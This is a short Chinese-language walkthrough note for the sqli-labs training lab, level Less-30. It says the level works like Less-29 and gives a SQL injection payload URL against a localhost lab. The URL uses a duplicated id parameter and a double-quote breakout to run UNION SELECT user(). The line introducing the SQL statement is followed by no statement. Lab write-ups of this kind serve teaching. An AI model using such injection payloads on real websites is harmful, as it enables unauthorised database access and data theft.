Less-30与less-29原理是一致的,我们可以看到less-30的sql语句为:
所以payload为:
http://127.0.0.1:8080/sqli-labs/Less-30/index.jsp?id=1&id=-2"union%20select%201,user(),3--+